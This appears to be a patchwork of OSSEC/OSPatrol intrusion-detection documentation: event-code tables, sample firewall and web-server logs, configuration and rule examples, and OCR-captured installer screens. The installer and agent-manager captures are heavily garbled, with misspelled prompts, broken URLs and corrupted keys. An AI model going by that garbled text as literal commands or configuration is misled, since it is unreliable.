5                       Warning                  An infected file has been found.
6                       Warning                  Error in opening a certain file.
7                       Informational            Loading virus definitions.
11                      Error                    Error in sending/receiving SNMP trap.
12                      Informational            A configuration change has occurred.
13                      Informational            Shut down of NAV services.
14                      Informational            Start up of NAV services.
16                      Informational            Downloading of definition update.
18                      Informational            File sent to Q-Server.
19                      Informational            Scan and Deliver.
20                      Error                    Back up of sample.
21                      Error                    Virus scan aborted.
22                      Error                    Error in loading RTS service.
23                      Informational            Services Loaded
24                      Informational            Services Unloaded
25                      Informational            Client Removed from Parent Server
26                      Informational            Scan Delayed (pause/snooze occurred)
27                      Informational            Scan Restarted
28                      Informational            Client Roamed to new parent server
29                      Informational            Client Roamed from parent server






Here are some examples to show how the above information can be put together to define the application event that has occurred.


Category number       Event number    What occurred
4                     12              Configuration change
2                     21              Scan canceled
2                     6               Cannot open file to scan
2                     3               Scan stopped
2                     14              NAV service start up successful
1                     5               An infected file has been found and quarantined
3                     4               Virus definitions have been updated






Information taken from Symantec Support Document ID: 2002110112213648
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  == OSPatrol Web User Interface (wui) ==


=== Download ===


You can download OSPatrol wui v0.3 from:


*http://www.ospatrol.net/files/ui/ospatrol-wui-0.3.tar.gz


The checksum and gpg signature are also available:


*http://www.ospatrol.net/files/ui/ospatrol-wui-0.3-checksum.txt
*http://www.ospatrol.net/files/ui/ospatrol-wui-0.3.tar.gz.sig


=== Installation ===


*[[OSPatrolWUI:Install|Installation Tutorial]]


=== TODO list ===


<br />
‘’‘For PHP Developers interested in helping with the UI’‘’ ([http://www.ospatrol.net/en/contact.html contact] us for more details) (<font color=”red”>new!</font>)


List of features/bugs that we plan to add on the next version.



		[http://www.ospatrol.net/bugs/show_bug.cgi?id=125 Bug 118] Is it possible to add one link in the main page (next to the agents list) that would search for alll the messages from the selected agent? by <i>Nuno Gomes</i>


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=125 Bug 119] Support for Firewall logs (reading from logs/firewall/firewall.log). We already started something, but it is incomplete (look at searchfw.php).


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=125 Bug 120] Add some links for popular options in the stats page, such as last 24 hours, top attacking IP, events by agent, etc.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=121 Bug 121] Fix issue where some logs exceeds the width of the table, so visually it runs off the screen.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=122 Bug 122] Incorporate some kind of graphing library and maybe PDF exporter for eye candy and management chow (for search results and stats page).


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=123 Bug 123] Create new “report” page with pre-formatted search options (including today events, this week, yesterday, etc). Such as Today’s authentication failures, Today’s integrity checking events, etc.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=124 Bug 124] Create new page with only the agents information. This could give a better health status of the install.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=125 Bug 125] Add a way to mark the events as dealt with would be useful.  There could be something like a ‘mark event as.. (closed|follow up|etc)’  If there is a small notes field, the analyst could put in notes such as ‘filed abuse report with ISP’. - <i>suggestion by Michael Starks</i>.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=126 Bug 126] I’d like to see the source IP linked with useful sites like dshield or a quick way to do a whois on the netblock.  For that matter, maybe filing an abuse report could be made super-simple.  Just click on the IP, select ‘file report’ and it copies the event to a new mail message addressed to the abuse contact address of the netblock. - <i>suggestion by Michael Starks</i>.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=127 Bug 127] On the search screen, having ‘level’ link to something explaining the levels would be useful.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=125 Bug 128] On the search screen, add ‘dstip’ to compliment ‘srcip’.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=129 Bug 129] Add option to validate a file change on the integrity checking page. It would also need a search option for all events or only non-validated changes.


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=130 Bug 130] In the stats tab, show alert breakdowns per agent. <i>suggestion by John Lewis</i>


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=131 Bug 131] In the stats tab, make results clickable to display the list of alerts referenced in the stat. <i>suggestion by John Lewis</i>


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=132 Bug 132] In the stats tab, add a column in the aggregate values by rule table that shows the rule description/summary, so we know what the rules are.  Identifying them by number is less useful. <i>suggestion by John Lewis</i>


		[http://www.ospatrol.net/bugs/show_bug.cgi?id=133 Bug 133] Would be great to see the alert results in all the pages in a table format with the following columns: date; location; ruleid; rule level; rule description; alert results. Would be cool to allow the columns to be sortable.  I believe this would make it easier to read the alerts.<i>suggestion by John Lewis</i>
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OSSEC 101: prelude output



Options:





Log sample:
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Modsecurity samples



Access denied:


[Sun Jan 16 10:56:49 2005] [error] [client 192.168.2.10] mod_security: Access denied with code 403. Pattern match "111" at THE_REQUEST [hostname "192.168.2.101"] [uri "/index.html?111"]









Access denied by pattern:


mod_security-message: Access denied with code 412. Pattern match "flashget" at HEADER
mod_security-message: Access denied with code 412. Pattern match "getright" at HEADER
mod_security-message: Access denied with code 412. Pattern match "^Download" at HEADER
mod_security-message: Access denied with code 412. Pattern match "^DA d.d+" at HEADER









Access denied by pattern (invalid user agent):


[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/admin/pma/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/web/phpMyAdmin/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/dbadmin/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/db/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/admin/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/mysql/main.php"]
[Mon Jun 11 03:17:22 2007] [error] [client 68.76.16.11] mod_security: Access denied with code 406. Pattern match "^$" at HEADER("USER-AGENT") [severity "EMERGENCY"] [hostname "192.168.1.1"] [uri "/PMA/main.php"]
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Migrating/backing up the manager


If you need to migrate the manager to another system (or just want to backup the current setup), these are the files you need:


These are the two locations where the keys are saved for all the agents.


/var/ospatrol/etc/client.keys
/var/ospatrol/queue/rids/






These are the configuration files you may want to keep


These are the databases where we store data for the agents.


/var/ospatrol/queue/syscheck
/var/ospatrol/queue/rootcheck
/var/ospatrol/queue/fts
/var/ospatrol/queue/agentless






Logs stored if they are needed.


/var/ospatrol/logs
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OSSEC 101: email output



Options:





Log sample:
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Log samples for the Sidewinder firewall


Oct 24 03:03:55 hostname.com.au auditd: date="Oct 23 17:03:55 2008 GMT",fac=f_mail,area=a_server,type=t_attack,pri=p_major,pid=11945,ruid=0,euid=0,pgid=1787,logid=0,cmd=sendmail,domain=mta1,edomain=mta1,hostname=hostname.com.au,event=access deny,srcip=1.1.1.1,srcburb=outside,attackip=2.2.2.2,attackburb=outside,queueid=m9NH3tOH011945,reason="Sendmail determined that this session is not allowed.",information="550 5.7.1 TrustedSource determined this IP address is untrusted.  Reputation value: 0.0.0.140










          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

manual/installation/installation-requirements.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  
Installations requirements





UNIX


For UNIX systems, OSPatrol just requires gcc and libc. However,
you always have the option to pre-compile it on one system and
move the binaries to the final box.



Ubuntu


On Ubuntu you will need the build-essential package in order to compile and install OSPatrol.


To install the package run the following command.


# apt-get install build-essential






If database support is needed mysql-dev or postgresql-dev should be installed.
Run the following command to install these packages.


# apt-get install mysql-dev postgresql-dev









RedHat


RedHat should have all packages needed by default, but if database support is needed
the package mysql-devel and/or postgresql-devel will need to be installed.


# yum install mysql-devel postgresql-devel









Debian


Debian has replaced bash with dash, and this may cause issues during installation.
Dash does not appear to support a full range of shell functions, and may display



an error when trying to set the server’s IP address on an agent system.



The best solution may be to ignore the error, and configure the system manually.


Do this by making sure something like the following information is in the agent’s ospatrol.conf:


<ospatrol_config>
  <client>
    <server-ip>SERVER'S IP</server-ip>
  </client>
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OSSEC 101: rootcheck:
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OSSEC 101: Tuning Syscheck:



Alert on new files:


By default syscheck does not alert on new files. This is done in an attemp to stop a flood of alerts on installation.
Changing this behavior is very easy.


First, add the following to the <syscheck> section of the OSSEC server’s ossec.conf:


<alert_new_files>yes</alert_new_files>






For example, my <syscheck> section now starts like this:


<syscheck>
  <!-- Frequency that syscheck is executed - default to every 22 hours -->
  <frequency>7200</frequency>
  <alert_new_files>yes</alert_new_files>
  <auto_ignore>no</auto_ignore>

  <!-- Directories to check  (perform all possible verifications) -->
  <directories check_all="yes" report_changes="yes">/etc,/var/named/etc,/var/www/conf,/var/ossec/etc,/var/ossec/rules</directories>
  <directories check_all="yes">/usr/bin,/usr/sbin</directories>
  <directories check_all="yes">/bin,/sbin</directories>

  <!-- More files and directories to check or ignore -->
</syscheck>






OSSEC has a default rule to alert on new files, but the level is set to 0. To change this, add the following rule to your local_rules.xml:


<rule id="554" level="7" overwrite="yes">
  <category>ossec</category>
  <decoded_as>syscheck_new_entry</decoded_as>
  <description>File added to the system.</description>
  <group>syscheck,</group>
</rule>






This overwrites the default rule 554. Set the level to a number that fits your organization’s policies.


After making these changes, restart the server’s OSSEC processes.


Customizing this a bit more is also possible. For instance we set 554 to level 2 so it is logged but will not send an email alert:


<rule id="554" level="2" overwrite="yes">
  <category>ossec</category>
  <decoded_as>syscheck_new_entry</decoded_as>
  <description>File added to the system.</description>
  <group>syscheck,</group>
</rule>






Next, we create a rule to alert at a level 10 for new files being created in /var/www/htdocs/CEO/files:


<rule id="111554" level="10">
  <if_sid>554</if_sid>
  <match>/var/www/htdocs/CEO/files</match>
  <description>New file in the CEO's personal stash.</description>
</rule>






Now if a new file is created in /var/www/htdocs/CEO/files you will be alerted.





Ignore a directory:


Sometimes it’s necessary to ignore a directory or file so the syscheck alerts are not overwhelming.


Ignoring a directory or file is another easy task in OSSEC.
In the <syscheck> section of an OSSEC system’s ossec.conf you should see a number of examples:


<ignore>/etc/mtab</ignore>
<ignore>/etc/mnttab</ignore>
<ignore>/etc/hosts.deny</ignore>
<ignore>/etc/mail/statistics</ignore>
<ignore>/etc/random-seed</ignore>
<ignore>/etc/adjtime</ignore>
<ignore>/etc/httpd/logs</ignore>
<ignore>/etc/utmpx</ignore>
<ignore>/etc/wtmpx</ignore>
<ignore>/etc/cups/certs</ignore>
<ignore>/etc/dumpdates</ignore>
<ignore>/etc/svc/volatile</ignore>






Adding individual files is as simple as listing them inside of the <ignore> tags.
In the following example we’re ignoring /var/lib/ntp/drift which is a file that may change frequently.


<ignore>/var/lib/ntp/drift</ignore>






One of my systems has a backup directory in /var/backups.
The contents of this directory can change frequently, so I would like to ignore these alerts.
I can use the following sregex to ignore all changes in that directory:


<ignore type="sregex">^/var/backups</ignore>






Changes to files in /var/www/var/backups or any other monitored directory will still cause alerts.
This sregex only limits the ignore to files in /var/backups.





Configure realtime syscheck:


Syscheck’s realtime option can be quite useful for very important directories.
By default the realtime option is not used, and it is only available on Linux and Windows.


To enable this option, add realtime="yes" to an appropriate <directories entry.
This :


<directories check_all="yes">/bin</directories>






becomes this:


<directories check_all="yes" realtime="yes">/bin</directories>









Scenarios:


Scenario 1: Ignore a file on 1 host:


Crazy Carl has written an application that stores its logs in /usr/bin/logs/crazy_abels_crazy_app.log, and admin Abel is tired of seeing alerts for that file changing. Abel has decided to ignore the file instead of fixing the application since Carl is the CEO’s nephew. He adds the following in the <syscheck> section of the agent’s ossec.conf:


<ignore>/usr/bin/logs/crazy_abels_crazy_app.log</ignore>






He then restarts the OSSEC processes on the agent and goes out for a margarita.


Scenario 2: Universally ignore a file:


Crazy Carl has installed his crazy application on all of the servers, so now Abel’s getting syscheck alerts again. He decides to put a stop to it once and for all.
He adds the <ignore> option to the OSSEC server’s ossec.conf in the <syscheck> section:


<ignore>/usr/bin/logs/crazy_abels_crazy_app.log</ignore>






He then restarts the OSSEC processes on the OSSEC server starts season 2 of The IT Crowd [http://www.imdb.com/title/tt0487831/].


Scenario 3: Ignore a directory:


Crazy Carl has developed a few more applications, and continues to write their logs to /usr/bin/logs. Abel is yet again tired of seeing the alerts, and decides to ignore the entire directory by adding the following to the OSSEC server’s ossec.conf:


<ignore type="sregex">^/usr/bin/logs</ignore>






He then resarts the OSSEC processes on the OSSEC server and laughs maniacly as he waits for Carl to strike again.
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Zeus web server



Failed logins:


[26/Jun/2006:05:02:57 +0100] WARN:admin:Authentication failure, url=/index.cgi, host=xx.yy.com, user=admin
[03/Aug/2006:18:43:11 +0100] WARN:admin:Authentication failure, url=/index.cgi, host=1.2.3.4, user=admin









Informational:





Fatal:








          

      

      

    


    
        © Copyright 2010, Lots of people.
      Created using Sphinx 1.2.
    

  

manual/notes/ospatrol_splunk.html


    
      Navigation


      
        		
          index


        		OSPatrol 2.7.2b1 documentation »

 
      


    


    
      
          
            
  OSPatrol and Splunk


Here’s how I configured OSPatrol to send alerts to Splunk:


In ospatrol.conf add a syslog_output block specifying your Splunk system IP address and the port your network input is listening on:




		<syslog_output>


		<server>172.10.2.3</server>
<port>10002</port>





</syslog_output>






Now you need to enable the syslog_output module and restart OSPatrol:



#/var/ospatrol/bin/ospatrol-control enable client-syslog
#/var/ospatrol/bin/ospatrol-control restart



On restart you’ll see ospatrol-csyslogd starting up. Now for the Splunk side.


You have a few options on how to receive OSPatrol alerts. The two options I’ve looked at are a standard Splunk network input or syslog-ng. I would suggest using syslog-ng and either the FIFO or file destination method. This way when you need to restart Splunk, which can be rather frequent, you won’t lose events like you would with the Splunk network input. The Splunk for OSPatrol application uses the network input method for simplicity.


Grab the Splunk for OSPatrol app which can be found here: http://www.splunkbase.com/apps/All/Security/app:Splunk+for+OSPatrol#.


The OSPatrol app for  is currently designed for SPLUNK 3.x. There is a work around. Install it in  SPLUNK, then use the SPLUNK Search tool, and the OSPatrol dashboards are all there. (it works)


One other addition:


When you edit the opt/splunk/etc/system/local/inputs.conf  file
Splunk is happier when you add the host listing on line 3 of the file below, else it thinks you have two ospatrol servers...


[default]


host = mymachine


mymachine=10.1.100.141


[udp://10.1.100.141:10002]


disabled=false


sourcetype=ospatrol


The .spl is actually just a .tgz so all you need to do is extract it to $SPLUNK_HOME/etc/apps/.


Make sure you update any local or network firewalls that this communication is traversing and then restart Splunk.



#$SPLUNK_HOME/bin/splunk restart



If you have any tweaks or improvements to configuration or the Splunk for OSPatrol app please let me know! (canuck.eh[at]gmail[dot]com)
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OSSEC 101: authd


ossec-authd and agent-auth are two OSSEC applications to automatically register an agent.
ossec-authd is the server side daemon, and agent-auth runs on the agent.



Running ossec-authd:


There aren’t many options for ossec-authd.
It’s generally recommended that ossec-authd is only run when adding new agents due to the lack of authentication.


An SSL certificate is required, and should be installed at /var/ossec/etc/sslmanager.cert.


Running ossec-authd can be as simple as:


/var/ossec/bin/ossec-authd -p 1515






In this example ossec-authd listens on port 1515 for client connections.





Running agent-auth:


agent-auth does not have many options either. Running it can be as simple as:


/var/ossec/bin/agent-auth -m 10.10.10.10 -p 1515






Adding an agent name with -A agent_name may also be useful.





Considerations:


Currently ossec-authd and agent-auth do not authenticate the other side.
The communication is encrypted, but there is nothing stopping an attacker with access to the ossec-authd port from registering fake agents.





Scenario:


On a Tuesday Adele’s boss Steve asks her to add the new database servers to the OSSEC infrastructure. Adele didn’t want to go to each of the 12 systems to configure everything from scratch, so she decided to use ossec-authd to automatically register the new systems.


Adele added an SSL certificate to the OSSEC server by running:


# openssl genrsa -out /var/ossec/etc/sslmanager.key 2048
# openssl req -new -x509 -key /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert -days 365






Then she ran ossec-authd to listen on port 2157:


# /var/ossec/bin/ossec-authd -p 2157






Next Adele used the existing management infrastructure to install OSSEC agents on each of the systems, and if /var/ossec/etc/client.keys did not exist to run /var/ossec/bin/agent-auth with the following command:


# /var/ossec/bin/agent-auth -m 192.168.29.46 -p 2157
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OSSEC 101: Installation



What are the different types of installations?



		local - A local installation includes everything necessary to monitor a single system. For local installations an agent is not necessary. Most of the documentation for the server installation is also applicable to the local install.


		server - A server installation is useful for monitoring multiple systems. It helps centralize configuration and analysis. Agents pass log messages and syscheck information to the server for analysis. OSSEC servers are often referred to as managers to help avoid confusion. Servers should always have agents associated with them. A server install requires a unix-like system, various Linux distributions being the best tested.


		agent - An agent is a client system being monitored by an OSSEC manager. The OSSEC agent processes will forward information to the manager for analysis. Agents can be unix-like systems or Windows systems.


		agentless - This isn’t really a type os OSSEC installation, but an option for monitoring embedded systems, or other systems a full OSSEC installation doesn’t make sense.


		hybrid - A hybrid installation is both a server and an agent. This allows for a tiered architecture of agents pushing to servers which forward alerts on to other servers for consolidation.








What type of installation should I perform ...



		This depends on what your requirements are.


		
		Is this a standalone system? local


		Do you want to monitor a large number of systems from a central location? Install a central server and perform agent installations on the clients.


		Windows system? agent














What type of installation should I perform on my single webserver?


If you are installing OSSEC on only one system you should use the local installation. You will not need to add an agent or perform any other installations.





What are the installation pre-requisites?


The installation pre-requisites are pretty simple and depend on the type of installation.
All installation types require gcc and the basic development libraries.


Server and local installs may require either MySQL or PostgreSQL client libraries if you plan on logging to a database.
The OpenSSL development libraries are required for ossec-authd support.


Agent installs require the OpenSSL development libraries for agent-auth support.


Hybrid installs require everything the server and agent installs require.


Prelude output will require the prelude development libraries.





Debian packages:


build-essential make [libssl-dev] [libmysqlclient-dev] [libpq-dev] [XXX prelude libs] [XXX inotify stuff]









Redhat Enterprise Linux/CentOS packages:


gcc inotify-tools-devel XXX









Solaris 8, 9, 10:


SUNWxcu4 SUNWsprot SUNWtoo SUNWbtool






SUNWxcu4 will create /usr/xpg4/bin/. Also make sure you have /usr/ccs/bin/make and /usr/ucb/bin/cc (compiler).





Mac OS X Lion issues:


OS X Lion primarily uses llvm for compilation, but there appears to be an issue with the inline assembly support.
Use gcc to compile OSSEC.





OpenBSD:


A default installation of OpenBSD should include everything necessary to perform an installation of OSSEC.





Installation Walk Throughs:




		OSSEC 101: Server Installation
		Things to keep in mind:


		Installation process:


		Adding an agent:








		OSSEC 101: Installing a Linux Agent
		Things to keep in mind:


		Installation process:


		Exporting the agent key:


		Importing the agent key:








		OSSEC 101: Install Windows Agent:
		Installation:


		Silent Installation:


		Importing the agent key:








		OSSEC 101: Local Installation
		Why you may want a local installation:


		Forwarding alerts to another OSSEC system:
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Correlating multiple snort IDS with ospatrol



		Taken from OSPatrol blog [http://dcid.me/2006/12/correlating-multiple-snort-ids-with-ospatrol/] by Daniel Cid [http://www.dcid.me/]





I was asked recently what is the best way to correlate multiple snort [http://www.snort.org] events with OSPatrol.
The idea would be to generate an ospatrol alert (by e-mail and possible an active response)
if a specific number of snort rules are fired from the same source IP address (in any order)..


The easiest way to solve this is by creating a local ospatrol rule (inside local_rules.xml) to match
if any of the desired snort signatures are fired:









		<rule id=”100015” level=”6”>


		<if_sid>20101</if_sid>
<decoded_as>snort</decoded_as>
<id>1:xx|1:yy|1:zz</id>
<description>Watched snort ids</description>





</rule>


Note that 1:xx, 1:yy are the snort ids that you are interested to watch. We use the <if_sid> to
make sure that this rule is only tested if it is an IDS event (see rule 20101).


Now, we create another ospatrol rule with a higher severity that will only be fired if the above rule
(100015) is generated at least 4 times from the same source ip within 3 minutes (180 seconds):


<rule id="100016" frequency="4" level="10" timeframe="180">
  <if_matched_sid>100015</if_matched_sid>
  <same_source_ip />
  <description>Multiple snort alerts with the watched ids</description>
</rule>






This idea can be extended to any other log format that you want to monitor.
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Log Samples from the Netscreen Firewall



Traffic denied:



Jun  2 14:55:46 fire00 fire00: NetScreen device_id=fire00  [Root]system-notification-00257(traffic): start_time=”2006-06-02 14:55:45” duration=0 policy_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0 rcvd=0 src=192.168.2.1 dst=1.2.3.4 src_port=3036 dst_port=7001
Jun  2 14:53:31 fire00 aka1: NetScreen device_id=aka1  [Root]system-notification-00257(traffic): start_time=”2006-06-02 14:53:30” duration=0 policy_id=120 service=udp/port:20721 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=20721
Jun  2 14:53:31 fire00 aka1: NetScreen device_id=aka1  [Root]system-notification-00257(traffic): start_time=”2006-06-02 14:53:30” duration=0 policy_id=120 service=udp/port:17210 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=17210
Mar 16 15:27:56 172.16.10.42 ns5gt: NetScreen device_id=ns5gt  [No Name]system-notification-00257(traffic): start_time=”2005-03-16 16:33:22” duration=0 policy_id=320001 service=tcp/port:120 proto=6 src zone=Null dst zone=self action=Deny sent=0 rcvd=60 src=192.168.2.1 dst=1.2.3.4 src_port=31048 dst_port=12






Alert messages:



Jun  1 22:01:35 [xx] ns5gt: NetScreen device_id=ns5gt  [Root]system-alert-00016: Port scan! From 1.2.3.4:54886 to 2.3.4.5:406, proto TCP (zone Untrust, int untrust). Occurred 1 times. (2004-06-01 22:09:03)
Jun  1 22:01:57 [xx] ns5gt: NetScreen device_id=ns5gt  [Root]system-alert-00016: Port scan! From 1.2.3.4:55181 to 2.3.4.5:1358, proto TCP (zone Untrust, int untrust). Occurred 1 times. (2004-06-01 22:09:25)
Jun  1 22:02:10 [xx] ns5gt: NetScreen device_id=ns5gt  [Root]system-alert-00016: Port scan! From 1.2.3.4:55339 to 2.3.4.5:1515, proto TCP (zone Untrust, int untrust). Occurred 1 times. (2004-06-01 22:09:38)






Critical messages:



Jun  2 11:24:16 fire00 sav00: NetScreen device_id=sav00  [Root]system-critical-00436: Large ICMP packet! From 1.2.3.4 to 2.3.4.5, proto 1 (zone Untrust, int ethernet1/2). Occurred 1 times. (2006-06-02 11:24:16)
[00001] 2007-04-01 15:32:00 [Root]system-critical-00031: arp req detected an IP conflict (IP 10.1.1.1, MAC 0027f2424c8c) on interface ethernet1
[00001] 2007-03-12 12:47:36 [Root]system-critical-00001(second traffic alarm):  Policy ID=14 Rate=180 bytes/sec exceeds threshold
[00008] 2006-06-30 13:10:09 [Root]system-critical-00041: VPN ‘zzz-primary-vpn’ from a.b.c.d is down.
[00002] 2006-06-30 13:11:41 [Root]system-critical-00040: VPN ‘zzz-primary-vpn’ from a.b.c.d is up.
[00001] 2005-05-16 12:55:10 [Root]system-critical-00042: Replay packet detected on IPSec tunnel on ethernet3 with tunnel ID 0x1c! From z.y.x.w to a.b.c.d/336, ESP, SPI 0xf63af637, SEQ 0xe337.
[00001] 2006-05-25 13:34:33 [Root]system-alert-00008: IP spoofing! From 10.1.1.238:80 to a.b.c.d:49807, proto TCP (zone Untrust, int ethernet3). Occurred 1 times.






Admin login:



Jun  1 22:02:12 [xx] ns5gt: NetScreen device_id=ns5gt  [Root]system-notification-00002: Admin user “baby” logged in for Web(http) management (port 8080) from 1.2.3.4:2150 (2004-06-01 22:09:40)
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OSSEC HIDS v2.6 Installation SCript - http://vuu.ossec.net

You are about to start the installation process of the OSSEC HIDS.
You must have a C compiler pre-installed in your system

If you have any questions or comments, plesse send an e-mail

to deid@ossec.net (or daniel.cidgmail.com .

System: Linux aldhansb 3.0.0-14-server
User: root
Host: aldhanah

—- Press ENTER to continue or Ctrl-C to abort.
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~ What's your e-mail address? ddpbsdiexanple.com
- What's your SHTP server ip/host? 127.0.0.1

3.2- Do you wanmt to run the integrity check daewon? (y/n] [y]:
- Running syscheck [integrity check dasmon .
3.3- Do you want to run the rootkit detection engine? (y/m) [vl:
- Running rootcheck (rootkit detection).
3.4- Aetive response allows you to execute a specific

comnmand hased on the events received. For example,

you can block an TP address or dissble access for

a specific user.

Nore information at:
Betp://uvv.ossec . net/en/nanual . htnlfact ive-response

- Do you want to enable active respense? (v/n) [¥]: n

- etive response dissbled.

Do you want to emsble remote syslog [(port 514 udp)? {y/n] [v]
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* 0SSEC HIDS v2.6 Agent manager. B
* The following options are available: *
(Tjwport key from the server (I).

(Quit.
choose your action: I or i i

* Provide the Key generated by the server.
* The best approach is to cut and paste it.
*o% 0BS: Do not include spaces or new lines

[Paste it here (or '\a' to quit): MDAXIFRFU1QyIDESHMi4xNiguNTeullzegZuRiZiQ3HDRLZD]
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* 0SSEC HIDS v2.6 Agent manager. B
* The following options are available: *
(A)ad an agent (k).
(E)xtract key for an agenmt (E}.
(L)ist already added agents (L) .
(R)enove an agent (R) .
(Quit.
Choose your action: A,E,L,R or 0t a

- dding & new agent (use '\q' to return to the main menu)
Please provide the following:
* A name for the new agent: agentl
* The IP Address of the new agent: 192.168.1.7
* in ID for the new agent[0D1]:

ent1
ress:192.168.1.7
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Hore information at:
Betp://uvv.ossec . net/en/nanual . htnlfact ive-response

- Do you want to enable active respense? (v/n) [¥]: n

- etive response dissbled.

3.5- Do you want to ensble remote syslog (port 514 udp)? (y/m) [v]: n

Renote syslog dissbled.

3.6- Setting the configuration to analyze the following 1oo:
-- /var/log/dpka. log

- If you vant to monitor any other file, just change
the ossec.conf and add a new localfile entry.
Any questions sbout the configuration can be ansvered
by visiting us online at http://www.cssec.net

Press ENTER to continue
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* 0SSEC HIDS v2.6 Agent manager. B
* The following options are available: *
(A)ad an agent (k).
(E)xtract key for an agenmt (E}.
(L)ist already added agents (L) .
(R)enove an agent (R) .
(Quit.

choose your action: A,E,L R or 0

svailaple agents:
ID: 001, Neme: TESTZ, IP: 192.168.17.37
Provide the ID of the agent to extract the key (or '\a' to quit]: 001

gent key information for 1001’ is:
D 45 IFRF U0y TDESH: 41 gul Toullze o 2R 1 ZUQ3 HDRL ZDNHN I ESOTT3 OTN Y2 E3 M2 RKY ZR1ZDIKNTE4)
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*+ Press ENTER to return to the main menu.
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Configuration finished properly.

To start OSSEC HIDS:
/var/ossec/bin/ossec-control start

To stop 0SSEC HIDS:
/var/ossec/bin/ossec-control stop

The configuration can be vieved or modified at /var/ossec/etc/ossec.cont

Thanks for using the OSSEC HIDS.
If you have any question, suggestion or if you find any bug,
contact us at contact@ossec.net or using our public maillist
ossec-listiossec.net

{ htep://wuv.ossec. net/main/ suppore/ ) .

More information can be found at http://www.cssec.net

--- Press ENTER to finish (waybe wore information below) .
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collisions:0 txgqueuslen:1000
RX bytes:1451988 (1.3 NiB) TX bytes:142157 (138.8 KiB

Link encap:Local Loopback
inet addr:127.0.0.1 HNask:255.0.0.0

inets addr: ::1/128 Scope:Host

UP LOOPEACK RUNNING NTU:16436 Hetric:

RX packets:0 errors:0 dropped:0 overruns

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
©collisions:0 txgqueuslen:o

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B

o 1ananan : /nowe/ dap/ossec-hids-2. 64 cd /var/ossec
a1ananan: /var/ossect bin/manage_agents

* 0SSEC HIDS v2.6 Agent manager. B
* The following options are available: *
(Tjwport key from the server (I).

(Quit.
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~/ossec-hids-2.6§ ./install.sh
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Fur eine deutsche Installation wohlen Sie [del.
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For inmstallation in English, choose [en].
Para instalar en Espaitol , eliga [es].
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Configuration finished properly.

To start OSSEC HIDS:
/var/ossec/bin/ossec-control start

To stop OSSEC HIDS:
/var/ossec/bin/ossec-control stop

The configuration can be vieved or modified at /var/ossec/etc/ossec.cont

Thanks for using the OSSEC HIDS.
If you have any question, suggestion or if you find any bug,
contact us at contact@ossec.net or using our public maillist
ossec-listiossec.net

{ htep://wuw.ossec. net/main/ suppore/ ) .

Nore information can be found at http://www.ossec.net

--- Press ENTER to finish (waybe wore information below).
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(E)xtract key for an agent (E].
(L)ist already added agents (L) .
(R)enove an agent (R) .
(Quit.

choose your action: A,E,L,R or

svailaple agents:

ID: 001, Newe: junction, IP: 192.168.1.1

ID: 1100, Name: test001, IP: any
Provide the ID of the agent to be removed (or '\g' to quit):
contirm deleting it2(y/m: v

sgent 1100" removea.

* 0SSEC HIDS v2.6 Agent manager. B
* The following options are available: *
(A)ad an agent (k).
(E)xtract key for an agenmt (E}.
(L)ist already added agents (L) .
(R)enove an agent (R) .
(Quit.
choose your action: 4,E,L,R or o:

1100
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- Running syscheck [integrity check dasmon] .

3.3- Do you want to run the rootkit detection engine? (y/n) [vl:
- Running reotcheck (rootkit detection).
3.4 - Do you want to ensble active response? (y/n] [vl: n

- etive response dissbled.

3.5- Setting the configuration to analyze the following log:
-- /var/log/dpkg. log

- If you want to monitor any other file, just change

the ossec.conf and add a new localfile entry.
Any questions sbout the configuration can be ansvered
by visiting us online at http://www.ossec.net

Press ENTER to continue
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© 0SSEC HIDS v2.5 Agen wamager.
- The foliowing options are aveildsle: ©
(a)dd an agent (&).
(E)xtract key for an agent (E).
(L) ist already added agents (L).
(R)emove an agent (R).
(@it
cnoose your actions 4,218 or o ||
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i- What kind of installation do yow wanmt [server, agent, local or help)? server
- Server installation chosen.
2- Setting up the installation enviromeent.
- Choose where to install the OSSEC HIDS [/var/ossec]:
- Installation will be made at /var/ossec
5- contiguring the OSSEC HIDS.
